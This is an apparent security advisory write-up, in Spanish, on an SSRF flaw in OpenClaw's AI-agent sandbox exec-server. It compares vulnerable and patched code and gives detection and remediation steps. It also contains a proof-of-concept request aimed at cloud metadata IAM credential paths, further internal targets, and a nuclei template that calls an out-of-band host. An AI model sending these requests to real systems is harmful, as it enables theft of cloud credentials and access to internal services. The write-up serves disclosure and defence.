
Análisis en profundidad de CVE-2026-62201: Omisión de la política de red del sandbox exec-server de OpenClaw (SSRF). Causa raíz, código vulnerable frente al parcheado, explotación, detección y remediación.
| Campo | Valor |
|---|
| Aviso | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| Producto | OpenClaw (paquete npm openclaw) — componente exec-server del sandbox |
| Afectado | openclaw < 2026.6.6 |
| Corregido | 2026.6.6 y posteriores |
| Causa raíz | Falta de validación SSRF en el helper HTTP integrado del exec-server (SANDBOX_HTTP_REQUEST_SCRIPT) |
| Commit de corrección | 21410d1c — "fix(codex): guard sandbox http requests" |
| Vector de ataque | HTTP POST al manejador http/request del exec-server con una URL controlada por el atacante |
| Impacto | Un llamador con privilegios bajos alcanza destinos de red internos (metadatos de la nube, IPs privadas, servicios de localhost) que la política de red de OpenClaw debería bloquear |
OpenClaw es una plataforma de agentes de IA cuyo exec-server del sandbox expone un helper de peticiones HTTP que los agentes usan para realizar llamadas web salientes. Las versiones anteriores a 2026.6.6 incluían ese helper sin protección SSRF: un llamador de menor confianza — cualquier agente, herramienta o ruta de entrada que la plataforma considere menos confiable que un operador de gateway — podía enviar una URL arbitraria y hacer que el exec-server la obtuviera desde dentro de la red del host.
Las comprobaciones de política de red que se aplican a la salida directa del sandbox no se aplicaban cuando las peticiones transitaban por la interfaz HTTP del exec-server. Esa inconsistencia es la vulnerabilidad: el exec-server actuaba como un proxy HTTP sin restricciones hacia la red interna.
Cuando OpenClaw ejecuta un agente Codex en un sandbox, inicia un exec-server local (extensions/codex/src/app-server/sandbox-exec-server.ts) que aloja métodos JSON-RPC sobre un transporte WebSocket/HTTP. Uno de esos métodos, http/request, permite al agente obtener URLs. La implementación canaliza la petición a través de un pequeño script Python integrado — SANDBOX_HTTP_REQUEST_SCRIPT — que realiza el trabajo real de urllib.
El manejador de peticiones se encuentra en extensions/codex/src/app-server/sandbox-exec-server/http.ts.
El helper Python recibía la URL y solo comprobaba el esquema:
# De [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (resumido)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
Esa es toda la barrera. No había:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ se seguía a ciegasResultado: {"method":"GET","url":"http://<host-interno>/"} devolvía el cuerpo de la respuesta interna al llamador. El exec-server era un proxy abierto hacia la red del host.
El commit 21410d1c añadió defensa en profundidad en ambas capas:
Capa 1 — Pre-comprobación en TypeScript (assertSandboxHttpRequestTargetAllowed en http.ts):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
Capa 2 — Refuerzo del helper Python (assert_url_allowed en el script integrado):
localhost, localhost.localdomain, metadata.google.internal, más sufijos *.localhost, *.local, *.internal169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, benchmarking 198.18.0.0/15, documentación 2001:db8::/32, y másipaddress: loopback, privada, link-local, multicast, reservada, sin especificarGuardedRedirectHandler: cada salto de redirección vuelve a ejecutar assert_url_allowed antes de seguirse::ffff:a.b.c.d), 6to4 (2002::/16), Teredo e ISATAP se desenvuelven y su IPv4 embebida se compruebadef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 con el exec-server del sandbox habilitadohttp/request (la plataforma trata esto como acceso de privilegios bajos — p. ej. un plugin, una herramienta o una ruta de entrada, no un operador de gateway)Paso 1 — Enviar una petición dirigida a un servicio interno:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
Paso 2 — Respuesta vulnerable (HTTP 200):
El exec-server obtenía la URL interna y devolvía el cuerpo al llamador — envuelto en base64 como bodyBase64:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
Decodificado:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
Paso 3 — Respuesta corregida (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
El destino interno es inalcanzable a través del exec-server en las versiones corregidas.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → credenciales IAMhttp://127.0.0.1:<puerto>/ para golpear interfaces de gestión no autenticadas co-ubicadasCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 Alta
El enfoque del aviso es importante: el modelo de operador confiable de OpenClaw asume que los operadores de gateway son confiables. El fallo es que una superficie de menor confianza (plugins, herramientas, rutas de entrada) podía alcanzar destinos que la política debería haber bloqueado.
Hay disponible una plantilla de detección — basada en OAST, sin requerir conocimiento previo de la topología interna:
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
Enviada upstream: projectdiscovery/nuclei-templates#17183
/exec/http (o el equivalente JSON-RPC por WebSocket) cuyo cuerpo JSON contiene un campo url que apunta a destinos privados/internos169.254.169.254, 100.100.100.200)npm install [email protected] (o posterior). La corrección añade validación SSRF completa tanto en el límite de TypeScript como dentro del helper Python.2026.6.6Esta investigación se realizó contra datos de vulnerabilidades divulgados públicamente y software desplegado en un laboratorio aislado. No se involucran sistemas de producción en vivo, redes de terceros ni investigación de zero-day. Todos los PoC utilizados aquí son peticiones inofensivas de solo lectura.